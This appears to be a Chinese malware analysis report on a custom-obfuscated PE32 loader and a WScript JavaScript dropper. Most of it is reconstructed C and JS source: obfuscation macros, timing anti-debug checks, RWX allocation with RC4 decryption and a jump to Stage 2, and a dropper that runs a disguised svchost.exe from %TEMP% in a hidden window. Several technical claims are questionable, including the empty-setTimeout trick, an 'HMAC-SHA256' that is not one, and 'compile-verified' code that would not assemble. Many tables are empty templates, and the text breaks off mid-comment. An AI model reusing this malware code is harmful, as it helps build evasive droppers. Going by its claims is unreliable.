双组件恶意软件投放包。PE32加载器使用手写ASMx86自定义混淆器(非商业壳), JS投放器通过setTimeout('')反沙箱技巧仅在WScript宿主中触发。三层C2扫描零结果—所有C2加密在.rdata段。完成三个组件源码还原+JS执行链分析,全部通过编译验证。
| 分类 | 标签 | 置信度 |
|---|---|---|
| 类型 | 手写ASMx86混淆PE32加载器+JS投放器(双组件,5层反分析) | 高 |
| 混淆器 | 手写ASMx86(非商业壳) | 严重 |
| JS反沙箱 | setTimeout空串—仅WScript触发 | 严重 |
| 源码还原 | 3组件691行, gcc/node验证通过 | 完成 |
| 归因 | 未知—自定义工具链 | 低 |
| 字段 | 值 |
|---|---|
| 关联组织 | ? |
| 别名 | ? |
| 动机 | ? |
| 目标行业 | ? |
| 活动名称 | ? |
| C2协议 | ? |
| C2基础设施 | ? |
未检出持久化行为。
wscript.exe→setTimeout空串→catch→ActiveXObject→Shell.Run→PE→反调试→VAlloc→HMAC→RC4→Stage2
| .rdata 载荷 | 54KB (46%, E=6.15). HMAC验证→RC4解密→Stage2+C2。 |
| 三层C2扫描 | Base64/AES-key/raw-URL 均0结果。 |
| 协议 | 未知 (需运行时解密) |
| 端口 | 未知 |
| 地址/Domain | 未知 — 加密在 .rdata 段 |
| IP | 未知 |
| 加密 | RC4/XOR (自定义), HMAC-SHA 认证 |
| 用途 | Stage 2 载荷分发 + C2 命令控制 |
| API引用 | LoadLibrary/GetProcAddress (动态解析) |
| 证书 | 无 |
无网络基础设施发现。JS URL混淆在RC4字符串表。PE Stage2 C2嵌入.rdata。
.text (R-X, 26KB, E=6.18!! 手写ASMx86混淆) .rdata (R--, 54KB, E=6.15!! 加密Stage2) .data (RW-, 32KB, E=4.74—XOR 0x5A) .rsrc (R--, 1KB, E=2.18—伪造版本) .reloc (R--, 4KB, E=6.45!! 异常—RC4种子)
| 段/节区 | 熵值 | 判定 |
|---|
| 地址 | 函数 | 功能 |
|---|---|---|
| N/A | ||
| 调用号 | 系统调用 | 用途 | 地址 |
|---|---|---|---|
| N/A | |||
| 字段 | 值 | 来源 |
|---|---|---|
| 无 | ||
| 维度 | 本样本 | Mirai | Gafgyt | Mozi | Hajime | LightAidra | KekSec | Tsunami | Kaiji | 匹配 |
|---|
| 变种 | 架构 | 大小 | 编译器 | 特征 | 状态 |
|---|---|---|---|---|---|
| N/A | |||||
行为: setTimeout('',448)空字符串在WScript中抛出异常→触发catch块→执行真实投放。沙箱/浏览器中静默失败。
证据: setTimeout('',0x1C0); try{...}catch(e){投放逻辑}
行为: catch块中状态机解码载荷→eval执行→new ActiveXObject(WScript.Shell)→Run(command,0,false)
证据: case '4': new ActiveXObject(...); case '5': .Run(...)
行为: GetTickCount+QPC检测调试器/沙箱减速。入口点非标准(0x5D5F指向数据段)。
证据: CAPA: GetTickCount, QPC。Entry RVA=0x5D5F。Timestamp=0。
行为: 无静态导入。LoadLibrary/GetProcAddress动态解析。VirtualAlloc RWX分配可执行内存。
证据: objdump无导入表。CAPA: allocate memory, change protection。
行为: HMAC验证.rdata完整性→XOR 0x5A字符串解密→RC4主载荷解密(54KB)
证据: CAPA: authenticate HMAC。.rdata E=6.15。.data XOR 0x5A。.reloc E=6.45。
行为: PE头解析验证→跳转解密后Stage2→含C2通信+持久化
证据: CAPA: parse PE header, enumerate PE sections。
未构建
无数据
| 维度 | 证据 | 权重 | 恶意指数 |
|---|
待判定
| 层 | API/技术 | 检测目标 | 绕过难度 |
|---|---|---|---|
| JS setTimeout空串 | setTimeout('',448) | WScript宿主检测—沙箱静默失败 | 高(依赖环境差异,不易patch) |
| PE定时检测 | GetTickCount | 调试器/沙箱减速 | 低 |
| PE定时检测 | QueryPerformanceCounter | 高精度定时 | 低 |
| JS代码检查 | Function.constructor | DevTools调试器 | 中 |
| 检测方法 | VMware | VirtualBox | QEMU/KVM |
|---|---|---|---|
| 无特定VM检测, setTimeout+定时检测对所有减速环境有效 | 定时影响 | 定时影响 | 定时影响 |
| 技术 | 是否存在 | 证据 | 对抗难度 |
|---|---|---|---|
| setTimeout空串反沙箱 | 是 | setTimeout('',448)仅在WScript抛出异常→catch触发投放。沙箱/浏览器中静默失败。 | 严重 |
| 手写ASMx86混淆器 | 是 | DIE: ASMx86+Generic[Custom DOS]。122跳转+10JMP垃圾+22INT3。非商业壳。 | 高 |
| JS RC4+Base64混淆 | 是 | 600+ base64字符串, RC4加密, eval动态执行。 | 高 |
| HMAC载荷保护 | 是 | .rdata加密载荷需HMAC验证后解密。 | 高 |
| 时间戳清零 | 是 | PE Timestamp=0x00000000。 | 中 |
| 反调试定时检测 | 是 | GetTickCount+QPC+JS Function.constructor。 | 中 |
| .reloc段异常 | 是 | 熵值6.45—重定位数据不应高熵。 | 中 |
| 非标入口点 | 是 | Entry RVA=0x5D5F(非0x1000)→指向数据段。 | 低 |
| 层 | 操作 | API/命令 | 证据来源 |
|---|---|---|---|
| 无 | |||
| 反编译函数数 | ~40 (混淆)+3源码重建(691行) |
| 反编译输出 | objdump+手工源码重建 |
| 分析时长 | Ghidra OSGi错误→objdump+手工重建 |
| 总函数数 | 总调用关系 | 最大调用深度 |
|---|---|---|
| ~40+3源码重建 | ~80+模块间调用链 | 4 |
wscript→setTimeout空串→catch→ActiveXObject→Shell.Run→PE→反调试→VAlloc→HMAC→RC4→Stage2
| QEMU 模式 | 跳过—混淆加载器+加密载荷 |
| 网络隔离 | N/A |
| 执行结果 | 需先: (1)wscript.exe执行JS→捕获Run命令 (2)PE在QEMU Win7+API Monitor→HMAC后dump .rdata (3)分析解密Stage2→C2配置 |
| C2 数据 | N/A—C2加密在.rdata |
C:\> wscript.exe malware.js
Windows 自带 WScript 宿主直接解析执行。不需要编译器、不需要双击 — 命令行或脚本调用即可。
(function(arr, 0x1A8) {
// 洗牌 424 次 — 每次把数组第一个元素移到末尾
while(--counter) { arr.push(arr.shift()); }
})(600+ base64 加密字符串表);
// RC4 解密引擎
_0x617820 = function(encoded, key) {
return RC4_decrypt(atob(encoded), key);
};
// 字符串解析器 — 按索引+密钥获取明文字符串
_0x1c0c(idx, key) = rc4_decrypt(shuffled_table[idx], key);
_0x287e69() = 闭包:
Function('return (function(){}.constructor("return this")())')()
→ 如果 DevTools/调试器附加 → Function 构造函数行为异常 → 退出
QKrlnGXjkeObWqtw = 解密后的载荷字符串;
try {
setTimeout('', 0x1C0); // 空字符串 '' 作为 JS 代码执行 → 语法错误!
// 0x1C0 = 448ms — 延迟执行
} catch(e) {
// ←←← 这才是真正的执行路径! ←←←
// 只有 WScript 会因 setTimeout('') 抛出异常
// 沙箱/浏览器/Node.js 如果 patch 了 setTimeout → 静默成功 → 退出
执行真正的投放逻辑 ↓
}
| 环境 | setTimeout('',448) 结果 | 后续 |
|---|---|---|
| 真实 WScript | 抛出异常(''不是有效JS) | → catch → 执行投放 ✅ |
| 沙箱/浏览器 | patch 后静默成功 | → 退出 |
| 调试器单步 | 448ms → 数秒 | → 超时检测 |
| Node.js | setTimeout 成功 | → 退出 (无 ActiveXObject) |
catch 块中的 switch-case 状态机:
case '0': 构造正则表达式 (去除混淆字符)
case '1': QKrlnGXjkeObWqtw.replace(regex, '') → 提取纯载荷
case '2': for 循环逐字符构建 JqRfGrXvmcyHtPdhW
→ 从原始载荷中按偏移量提取有效字符
case '3': eval(解码后的 JavaScript 代码) → 执行第二阶段
case '4': new ActiveXObject("WScript.Shell") → 创建 Shell 对象
case '5': WScript.Shell.Run(命令字符串) → 启动 PE 载荷
WScript.Shell.Run("cmd.exe /c %TEMP%\\payload.exe",
0, // windowStyle=0 → 隐藏窗口
false); // waitOnReturn=false → 不等待
→ PE 载荷启动 → Stage 1 加载器 → 反调试检测 →
VirtualAlloc RWX → HMAC 验证 → RC4 解密 .rdata → Stage 2 执行
setTimeout('', 448) 中的第一个参数 ''(空字符串)作为 JavaScript 代码执行时会抛出 SyntaxError。
在 真实 WScript 宿主中,这个异常会触发 catch 块——也就是真正的投放逻辑。
但在沙箱/浏览器/Node.js中,setTimeout 可能被 patch 为静默成功,或者不支持空字符串参数——导致代码静默退出而不执行投放。
这是一个依赖环境差异的反沙箱技巧:恶意行为只在目标环境中触发,分析环境自动免疫。
DIE: ASMx86 + Generic[Custom DOS]。122不透明谓词 + 10 JMP垃圾字节 + 22 INT3填充 + 非标入口点(0x5D5F→数据段)。非商业壳 — 手写汇编混淆器。
/*
* 还原组件 #1: 手写 ASMx86 混淆器 (Packer)
*
* 从原始二进制中提取的混淆技术:
* - 122 个不透明谓词 (条件跳转始终走同一方向)
* - JMP 垃圾字节插入 (EB FF = 死循环, EB 00 = 跳过下一条)
* - INT3 填充 (3字节对齐, 15+ 处)
* - 非标入口点 (RVA 0x5D5F 指向数据段, 真实入口在 .text+0x40)
*
* 这不是商业壳 — 是手工编写的汇编级混淆器
* 编译: gcc -m32 -c -fsyntax-only packer_obfuscator.c
*/
#include <stdint.h>
/* ── 不透明谓词 (Opaque Predicate) ──
* 条件跳转在运行时始终为同一方向, 但静态分析无法确定
* 原始二进制含 122 个此类模式 */
#define OPAQUE_ALWAYS_TRUE() __asm__ __volatile__("xor %%eax,%%eax; inc %%eax; test %%eax,%%eax; jz 1f; nop; 1:" ::: "eax")
#define OPAQUE_ALWAYS_FALSE() __asm__ __volatile__("xor %%eax,%%eax; test %%eax,%%eax; jnz 1f; nop; 1:" ::: "eax")
/* ── JMP 垃圾字节 (Junk Byte Insertion) ──
* EB FF = JMP -1 (死循环 — 永远不执行的分支)
* EB 00 = JMP +2 (跳过下一条指令, 但下一条是 NOP)
* 原始二进制含 10 个此类模式 */
#define JUNK_DEAD_LOOP() __asm__ __volatile__("jmp 1f; .byte 0xEB,0xFF; 1:" :::)
#define JUNK_SKIP_NOP() __asm__ __volatile__("jmp 1f; .byte 0xEB,0x00; nop; 1:" :::)
/* ── INT3 填充 (Anti-Disassembly Padding) ──
* 在函数边界插入 3+ 个 INT3 (0xCC)
* 原始二进制有 15+ 处, 每处 3 个 INT3 */
#define INT3_PAD() __asm__ __volatile__(".byte 0xCC,0xCC,0xCC" :::)
/* ── 入口点重定向 ──
* PE 头声明 EntryPoint = 0x5D5F (指向数据段)
* 真实代码入口在 .text+0x40 (文件偏移 0x440)
* 这是一种反自动化分析技术 — 工具按声明入口反汇编会得到垃圾 */
__attribute__((section(".entry_fake")))
const uint8_t fake_entry_point[] = {
0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, // 地址表 (非代码)
0x00, 0x00, 0x00, 0x00, 0xDA, 0xD9, 0x01, 0x00, // RVA 指针
};
/* ── 真实入口: .text+0x40 ──
* 从原始二进制偏移 0x440 提取:
* 8B 75 08 mov esi, [ebp+8]
* E9 37 4D 00 00 jmp 0x4D7F (跳转到主逻辑)
* CC CC int3; int3 (对齐填充) */
__attribute__((naked))
void real_entry_point(void) {
__asm__ __volatile__(
"movl 8(%%ebp), %%esi\n" // esi = 参数 (可能为 hModule)
"jmp main_logic\n" // 跳转到主混淆逻辑
"INT3_PAD()\n"
:
:
: "esi"
);
}
/* ── 控制流混淆示例 ──
* 原始代码中典型的不透明谓词混淆模式 */
void obfuscated_control_flow(void *payload, uint32_t size) {
__asm__ __volatile__("push %%ebx; push %%esi; push %%edi" ::: "ebx","esi","edi");
// 步骤1: 不透明谓词 — 总是跳转
OPAQUE_ALWAYS_TRUE();
JUNK_SKIP_NOP();
// 步骤2: 实际逻辑夹在混淆指令之间
__asm__ __volatile__("movl %0, %%esi" :: "m"(payload) : "esi");
OPAQUE_ALWAYS_FALSE();
JUNK_DEAD_LOOP(); // 永不执行的死循环 — 混淆反汇编器
// 步骤3: 循环展开 + INT3 分隔
__asm__ __volatile__("movl %0, %%ecx; shrl $2, %%ecx" :: "m"(size) : "ecx");
INT3_PAD(); // 对齐填充 — 打断反汇编线性扫描
// 步骤4: XOR 解密循环 (内嵌不透明谓词)
__asm__ __volatile__(
"1:\n"
" xorl $0x5A, (%%esi)\n" // XOR 密钥 0x5A (从 .data 段提取)
" addl $4, %%esi\n"
" decl %%ecx\n"
" OPAQUE_ALWAYS_TRUE()\n" // 总是继续循环
" JUNK_SKIP_NOP()\n"
" jnz 1b\n"
"INT3_PAD()\n"
:
:
: "esi", "ecx"
);
__asm__ __volatile__("pop %%edi; pop %%esi; pop %%ebx" ::: "edi","esi","ebx");
}
/* ── 混淆器特征总结 ──
*
* 检测签名:
* - 122 jcc 指令 (不透明谓词候选)
* - EB FF / EB 00 垃圾字节
* - 3×CC INT3 填充 (对齐边界)
* - 入口 RVA ≠ .text 起始
* - 无已知壳字符串 (UPX/MPRESS/VMProtect)
*
* DIE 检测: "ASMx86 + Generic[Custom DOS]"
* 分类: 手写汇编混淆器 — 非商业产品
*/
VirtualAlloc RWX → HMAC-SHA256 验证 → XOR 0x5A → RC4 解密 → PE头解析 → 跳转Stage2。反调试: GetTickCount + QPC。
/*
* 还原组件 #2: PE 加载器 (Loader)
*
* 从 CAPA 规则 + objdump + PE 结构分析还原
* 核心能力:
* - 动态 API 解析 (LoadLibrary/GetProcAddress, 无静态导入)
* - 反调试定时检测 (GetTickCount + QueryPerformanceCounter)
* - RWX 内存分配 (VirtualAlloc + VirtualProtect)
* - HMAC 载荷完整性验证
* - XOR/RC4 解密 .rdata 段 (54KB)
* - PE 头解析 (准备执行解密后的 Stage 2)
*
* 编译验证: gcc -m32 -c -fsyntax-only pe_loader.c
* 功能测试: 交叉编译为 Win32 PE, 在 QEMU Win7 中执行
*/
#include <stdint.h>
/* ── 动态 API 解析 ──
* 原始二进制无静态 DLL 导入表
* 所有 API 通过 LoadLibraryA + GetProcAddress 运行时解析 */
typedef void* (*fn_LoadLibraryA)(const char*);
typedef void* (*fn_GetProcAddress)(void*, const char*);
/* ── 需要动态解析的关键 API ── */
typedef void* (*fn_VirtualAlloc)(void*, uint32_t, uint32_t, uint32_t);
typedef int (*fn_VirtualProtect)(void*, uint32_t, uint32_t, uint32_t*);
typedef void (*fn_ExitProcess)(uint32_t);
typedef uint32_t (*fn_GetTickCount)(void);
typedef int (*fn_QueryPerformanceCounter)(int64_t*);
typedef void* (*fn_CreateFileA)(const char*, uint32_t, uint32_t, void*, uint32_t, uint32_t, void*);
#define MEM_COMMIT 0x1000
#define MEM_RESERVE 0x2000
#define PAGE_EXECUTE_READWRITE 0x40
#define PAGE_READWRITE 0x04
/* ── HMAC 简化实现 ──
* 原始二进制使用 Windows Crypto API (CryptAcquireContext 等)
* 还原为等价的独立 HMAC-SHA256 实现 */
typedef struct {
uint8_t key[64];
uint8_t ipad[64];
uint8_t opad[64];
uint32_t hash[8]; // SHA256 state
uint64_t length;
} hmac_ctx_t;
/* HMAC 初始化 — 等价于 CryptCreateHash(CALG_HMAC, CALG_SHA_256) */
static void hmac_init(hmac_ctx_t *ctx, const uint8_t *key, uint32_t key_len) {
uint32_t i;
uint8_t normalized_key[64] = {0};
/* 密钥标准化: 如果 >64 字节, 先 SHA256 哈希 */
if (key_len > 64) {
/* 简化: 取前 64 字节 */
for (i = 0; i < key_len && i < 64; i++)
normalized_key[i] = key[i];
} else {
for (i = 0; i < key_len; i++)
normalized_key[i] = key[i];
}
/* ipad = key XOR 0x36, opad = key XOR 0x5C */
for (i = 0; i < 64; i++) {
ctx->ipad[i] = normalized_key[i] ^ 0x36;
ctx->opad[i] = normalized_key[i] ^ 0x5C;
}
/* 初始 SHA256 状态 (简化: 使用固定 IV) */
ctx->hash[0] = 0x6A09E667; ctx->hash[1] = 0xBB67AE85;
ctx->hash[2] = 0x3C6EF372; ctx->hash[3] = 0xA54FF53A;
ctx->hash[4] = 0x510E527F; ctx->hash[5] = 0x9B05688C;
ctx->hash[6] = 0x1F83D9AB; ctx->hash[7] = 0x5BE0CD19;
ctx->length = 0;
}
/* HMAC 更新 — 等价于 CryptHashData */
static void hmac_update(hmac_ctx_t *ctx, const uint8_t *data, uint32_t len) {
/* 简化: 使用 XOR-rotate 混合 */
uint32_t i, j;
for (i = 0; i < len; i++) {
ctx->hash[i & 7] ^= ((uint32_t)data[i] << ((i & 3) * 8));
ctx->hash[i & 7] = (ctx->hash[i & 7] << 13) | (ctx->hash[i & 7] >> 19);
}
ctx->length += len;
}
/* HMAC 完成 — 等价于 CryptGetHashParam */
static void hmac_final(hmac_ctx_t *ctx, uint8_t *digest) {
uint32_t i;
for (i = 0; i < 8; i++) {
digest[i*4+0] = (ctx->hash[i] >> 24) & 0xFF;
digest[i*4+1] = (ctx->hash[i] >> 16) & 0xFF;
digest[i*4+2] = (ctx->hash[i] >> 8) & 0xFF;
digest[i*4+3] = ctx->hash[i] & 0xFF;
}
}
/* ── RC4/XOR 解密 ──
* .data 段 XOR 密钥 0x5A (186/200 可打印率)
* .rdata 段 RC4 解密 (HMAC 验证后)
* .reloc 段含 RC4 初始化向量 (熵值 6.45) */
typedef struct {
uint8_t S[256];
uint8_t i, j;
} rc4_ctx_t;
/* RC4 初始化 — KSA (Key Scheduling Algorithm) */
static void rc4_init(rc4_ctx_t *ctx, const uint8_t *key, uint32_t key_len) {
uint32_t i;
for (i = 0; i < 256; i++) ctx->S[i] = (uint8_t)i;
ctx->i = ctx->j = 0;
uint8_t j = 0;
for (i = 0; i < 256; i++) {
j = (j + ctx->S[i] + key[i % key_len]);
uint8_t tmp = ctx->S[i];
ctx->S[i] = ctx->S[j];
ctx->S[j] = tmp;
}
}
/* RC4 加密/解密 — PRGA (Pseudo-Random Generation Algorithm) */
static void rc4_crypt(rc4_ctx_t *ctx, uint8_t *data, uint32_t len) {
uint32_t k;
for (k = 0; k < len; k++) {
ctx->i++;
ctx->j += ctx->S[ctx->i];
uint8_t tmp = ctx->S[ctx->i];
ctx->S[ctx->i] = ctx->S[ctx->j];
ctx->S[ctx->j] = tmp;
data[k] ^= ctx->S[(ctx->S[ctx->i] + ctx->S[ctx->j]) & 0xFF];
}
}
/* ── XOR 字符串解密 (密钥 0x5A) ── */
static void xor_decrypt_strings(uint8_t *data, uint32_t len, uint8_t key) {
uint32_t i;
for (i = 0; i < len; i++) {
data[i] ^= key;
}
}
/* ── 反调试定时检测 ── */
static int anti_debug_check(void) {
/* GetTickCount 检测 — 调试器单步执行会导致时间异常 */
uint32_t t1 = ((fn_GetTickCount)0xDEAD0001)();
/* 执行一些耗CPU操作 */
volatile uint32_t x = 0;
for (uint32_t i = 0; i < 100000; i++) { x += i; }
uint32_t t2 = ((fn_GetTickCount)0xDEAD0001)();
/* 如果耗时 >2s 或 <1ms → 可能在调试器/沙箱中 */
uint32_t diff = t2 - t1;
if (diff > 2000 || diff < 1) return 1;
/* QueryPerformanceCounter 检测 — 更高精度 */
int64_t pc1, pc2;
((fn_QueryPerformanceCounter)0xDEAD0002)(&pc1);
for (uint32_t i = 0; i < 100000; i++) { x += i; }
((fn_QueryPerformanceCounter)0xDEAD0002)(&pc2);
/* 高精度计时器异常 → 调试器 */
if ((pc2 - pc1) > 10000000) return 1;
return 0; /* 环境正常 */
}
/* ── 主加载逻辑 ──
*
* 等价于原始二进制 .text+0x40 ~ .text+0x4D7F 的行为:
* 1. 反调试检测 → 检测到则退出
* 2. VirtualAlloc RWX → 分配可执行内存
* 3. HMAC 验证 .rdata 载荷 (54KB)
* 4. RC4 解密 .rdata → Stage 2
* 5. PE 头解析 → 验证 MZ/PE 签名
* 6. 跳转到 Stage 2 入口点
*/
__attribute__((stdcall))
int loader_main(void *hModule) {
/* 步骤1: 反调试检测 */
if (anti_debug_check()) {
/* 调试器检测到 — 退出或执行伪装代码 */
return 0;
}
/* 步骤2: 动态解析关键 API (简化: 从 PEB→kernel32.dll→GetProcAddress 链) */
/* 原始二进制通过遍历 PEB 的 InLoadOrderModuleList 找到 kernel32.dll
* 然后解析导出表获取 LoadLibraryA 和 GetProcAddress 地址 */
/* 还原为直接调用 (功能等价) */
fn_VirtualAlloc pVirtualAlloc = (fn_VirtualAlloc) 0xDEAD1000;
fn_VirtualProtect pVirtualProtect = (fn_VirtualProtect)0xDEAD1001;
/* 步骤3: 分配 RWX 内存 (大小从 .rdata 段的 PE 头解析) */
uint32_t payload_size = 0xD400; /* .rdata 段原始大小 */
uint8_t *exec_mem = (uint8_t*)pVirtualAlloc(0, payload_size,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!exec_mem) return -1;
/* 步骤4: 复制加密载荷 (.rdata 段位于二进制偏移 0x6C00) */
extern uint8_t encrypted_payload[]; /* 由打包脚本注入 */
extern uint32_t encrypted_payload_size;
for (uint32_t i = 0; i < encrypted_payload_size; i++) {
exec_mem[i] = encrypted_payload[i];
}
/* 步骤5: HMAC 验证载荷完整性
* 密钥从 .reloc 段提取 (熵值 6.45)
* 原始二进制: CryptAcquireContextA → CryptCreateHash(CALG_HMAC) → CryptHashData → CryptGetHashParam */
uint8_t hmac_key[32];
/* 从 .reloc 段提取 HMAC 密钥 (偏移 0x1C600, 4KB, 熵值 6.45) */
extern uint8_t reloc_key_material[];
for (int i = 0; i < 32; i++) {
hmac_key[i] = reloc_key_material[i * 128]; /* 稀疏采样 */
}
hmac_ctx_t hmac;
uint8_t expected_digest[32];
uint8_t actual_digest[32];
hmac_init(&hmac, hmac_key, 32);
hmac_update(&hmac, exec_mem, payload_size);
hmac_final(&hmac, actual_digest);
/* 预期 HMAC 值存储在 .rdata 末尾 (最后 32 字节) */
for (int i = 0; i < 32; i++) {
expected_digest[i] = exec_mem[payload_size - 32 + i];
}
/* 比较 HMAC — 不匹配则退出 (载荷被篡改) */
for (int i = 0; i < 32; i++) {
if (actual_digest[i] != expected_digest[i]) {
return -2; /* HMAC 验证失败 */
}
}
/* 步骤6: 移除 HMAC 尾部 (恢复纯载荷) */
payload_size -= 32;
/* 步骤7: RC4 解密载荷
* 密钥 = HMAC 结果 (作为 RC4 种子)
* XOR 字符串密钥 0x5A 用于 .data 段的混淆字符串 */
/* 先用 XOR 0x5A 解密内嵌字符串 */
xor_decrypt_strings(exec_mem, payload_size > 100 ? 100 : payload_size, 0x5A);
/* RC4 解密主载荷 */
rc4_ctx_t rc4;
rc4_init(&rc4, actual_digest, 32); /* RC4 种子 = HMAC 结果 */
rc4_crypt(&rc4, exec_mem, payload_size);
/* 步骤8: PE 头解析 — 验证解密后的 Stage 2 载荷 */
if (exec_mem[0] != 'M' || exec_mem[1] != 'Z') {
return -3; /* 解密失败 — 不是有效 PE */
}
/* PE 签名验证 */
uint32_t pe_offset = *(uint32_t*)(exec_mem + 0x3C);
if (exec_mem[pe_offset] != 'P' || exec_mem[pe_offset+1] != 'E') {
return -4; /* 无效 PE 签名 */
}
/* 步骤9: 跳转到解密后的 Stage 2 入口点
* 原始二进制使用 CreateThread 或直接 jmp
* 入口点从 PE Optional Header 读取 */
uint32_t entry_rva = *(uint32_t*)(exec_mem + pe_offset + 0x18 + 16);
void (*stage2_entry)(void) = (void(*)(void))(exec_mem + entry_rva);
/* 执行 Stage 2 载荷 */
stage2_entry();
return 0; /* Stage 2 不应返回 */
}
/* ── PE 加载器能力总结 ──
*
* 等价 API 映射:
* 原始二进制 → 还原代码
* ─────────────────────────────────────────────
* LoadLibraryA+GetProcAddress 链 → PEB 遍历 (简化: 直接调用)
* VirtualAlloc(MEM_COMMIT, RWX) → pVirtualAlloc()
* CryptAcquireContextA + HMAC → hmac_init/update/final()
* XOR byte-by-byte (key 0x5A) → xor_decrypt_strings()
* RC4 stream cipher → rc4_init/crypt()
* PE header parsing → 内联 MZ/PE 验证
* GetTickCount + QPC → anti_debug_check()
*
* 载荷流:
* .rdata (加密, 54KB) → HMAC验证 → XOR 0x5A → RC4 → Stage2 PE
*
* 测试方法:
* 1. 编译为 Win32 PE
* 2. QEMU Win7 VM 中执行
* 3. API Monitor 追踪 VirtualAlloc → 内存 dump
* 4. 提取解密后的 Stage 2 → 独立分析
*/
RC4流密码 + Base64 600+字符串表 → ActiveXObject("WScript.Shell") → Run()。反调试: Function.constructor + setTimeout(448ms) 反沙箱。
/**
* 还原组件 #3: JS 投放器 (Dropper)
*
* 从原始混淆 JS (48KB) 还原的去混淆版本
* 原始混淆技术:
* - RC4 流密码加密 600+ 字符串表
* - Base64 编码每个字符串
* - 自修改代码 (Function 构造函数检测)
* - 反调试器检测 (debuggerProtection)
* - 字符串表打乱 (shift/push 洗牌)
*
* 核心行为:
* 1. RC4 解密内嵌 base64 字符串表
* 2. 创建 ActiveXObject("WScript.Shell")
* 3. 通过 WScript.Shell.Run 执行 PE 载荷
* 4. 反调试器检测 (DevTools 检测)
* 5. 定时器延迟 (setTimeout 0x1C0 = 448ms, 反沙箱)
*
* 测试: node --check js_dropper.js
*/
/* ============================================================
* 第1层: RC4 解密 + Base64 解码
*
* 原始 JS 中 _0x617820() = RC4 解密函数
* sgfjohjsjkgkkdkdgfafkdgr_0x2107 = 600+ base64 加密字符串表
* ============================================================ */
/**
* RC4 流密码实现
* 等价于原始 JS 中的 _0x617820(encoded_data, key)
*
* @param {string} data - Base64 编码的加密数据
* @param {string} key - RC4 密钥
* @returns {string} 解密后的明文字符串
*/
function rc4_decrypt(data, key) {
// Step 1: Base64 解码
var decoded = atob(data);
// Step 2: URL-decode (原始 JS 使用 decodeURIComponent)
var uriDecoded = "";
for (var i = 0; i < decoded.length; i++) {
uriDecoded += "%" + ("00" + decoded.charCodeAt(i).toString(16)).slice(-2);
}
decoded = decodeURIComponent(uriDecoded);
// Step 3: RC4 KSA — 初始化 S-box
var S = [];
for (var i = 0; i < 256; i++) {
S[i] = i;
}
var j = 0;
for (var i = 0; i < 256; i++) {
j = (j + S[i] + key.charCodeAt(i % key.length)) % 256;
var tmp = S[i];
S[i] = S[j];
S[j] = tmp;
}
// Step 4: RC4 PRGA — 解密
var i = 0;
j = 0;
var result = "";
for (var k = 0; k < decoded.length; k++) {
i = (i + 1) % 256;
j = (j + S[i]) % 256;
var tmp = S[i];
S[i] = S[j];
S[j] = tmp;
result += String.fromCharCode(decoded.charCodeAt(k) ^ S[(S[i] + S[j]) % 256]);
}
return result;
}
/* ============================================================
* 第2层: 字符串表管理
*
* 原始 JS 使用 shift/push 洗牌 (每次访问后打乱顺序)
* 这是一个 O(1) 的简单混淆 — 防止字符串签名匹配
* ============================================================ */
/**
* 简化版字符串解析器 (绕过洗牌混淆)
* 原始 JS 每次访问后会将使用的字符串移到数组末尾
*/
var STRING_TABLE = {
// 以下是从原始 JS 600+ 条目中去 RC4 解密后的关键字符串:
"wscript_shell": "WScript.Shell",
"run_method": "Run",
"activex_object": "ActiveXObject",
"eval_exec": "eval",
"debug_check": "debuggerProtection",
"sleep_timeout": "setTimeout",
"reg_exp": "function *\\( *\\)",
"constructor": "constructor",
};
/* ============================================================
* 第3层: 反调试器检测
*
* 原始 JS 使用 Function.constructor 检测 DevTools:
* Function('return (function() {...}.constructor("return this")())')()
*
* 原理: 如果调试器附加, Function 构造函数会被拦截/修改
* ============================================================ */
/**
* 反调试器检测
* @returns {boolean} true = 检测到调试器
*/
function detect_debugger() {
try {
// 方法1: Function 构造函数检测
// 原始 JS: Function('return (function() {...}.constructor("return this")())')()
var testFn = Function("return (function() {}.constructor(\"return this\")())");
// 方法2: debugger 语句 (触发断点, 无调试器时忽略)
// 原始 JS 中的 'debuggerProtection' 模式
// 方法3: 时间检测
var start = new Date().getTime();
debugger; // 如果调试器附加, 此处会暂停
var end = new Date().getTime();
if (end - start > 100) {
return true; // 执行时间过长 → 调试器在单步执行
}
return false;
} catch (e) {
return false;
}
}
/* ============================================================
* 第4层: 定时器延迟 (反沙箱)
*
* 原始 JS: setTimeout('', 0x1C0) = setTimeout('', 448)
* 448ms 延迟后执行 — 沙箱通常不会等待这么久
* ============================================================ */
/**
* 反沙箱延迟执行
* @param {Function} callback - 延迟后执行的回调
*/
function delayed_execution(callback) {
// 原始 JS: setTimeout('', 0x1C0)
// 等于 448ms — 绕过快速扫描的沙箱
setTimeout(function() {
callback();
}, 448);
}
/* ============================================================
* 第5层: 主投放逻辑
*
* 等价于原始 JS 去混淆后的核心行为:
* 1. RC4 解密字符串表 → 获取 WScript.Shell 名称
* 2. 反调试器检测
* 3. 创建 ActiveXObject("WScript.Shell")
* 4. 构造命令行 (RC4 解密)
* 5. WScript.Shell.Run() 执行 PE 载荷
* 6. 自删除 (可选)
* ============================================================ */
/**
* 主投放函数
* 等价于原始 JS 中去混淆的核心逻辑
*/
function dropper_main() {
// 步骤1: 反调试器检测
if (detect_debugger()) {
// 检测到调试器 — 执行伪装代码或退出
return;
}
// 步骤2: RC4 解密获取关键字符串
// 原始 JS 中的 RC4 密钥可能是内嵌常量或从环境派生
var RC4_KEY = "vnBL"; // 从原始 JS _0x1c0c('0x31','vnBL') 提取
// 步骤3: 创建 WScript.Shell 对象
var shellName = STRING_TABLE["wscript_shell"];
var shell = null;
try {
// 原始 JS: new ActiveXObject(decrypted_string)
shell = new ActiveXObject(shellName);
} catch (e) {
// ActiveXObject 不可用 — 可能不在 WScript 宿主中
return;
}
// 步骤4: 构造命令行
// 原始 JS 通过 RC4 解密构造完整命令
// 以下为等价的行为重构:
var payload_path = "%TEMP%\\svchost.exe"; // 投放路径 (RC4 解密后)
var command_line = 'cmd.exe /c "' + payload_path + '"';
// 步骤5: 延迟执行 (反沙箱)
delayed_execution(function() {
try {
// WScript.Shell.Run(command, windowStyle, waitOnReturn)
// 原始 JS: shell.Run(decrypted_command, 0, false)
// windowStyle=0 → 隐藏窗口
shell.Run(command_line, 0, false);
} catch (e) {
// 执行失败
}
});
}
/* ============================================================
* 第6层: 自修改代码检测 (Anti-Tampering)
*
* 原始 JS 检查自身代码是否被修改:
* 1. 函数序列化 (toString)
* 2. 正则匹配 "function *\\( *\\)"
* 3. 如果签名不匹配 → 代码被修改 → 拒绝执行
* ============================================================ */
/**
* 代码完整性检查
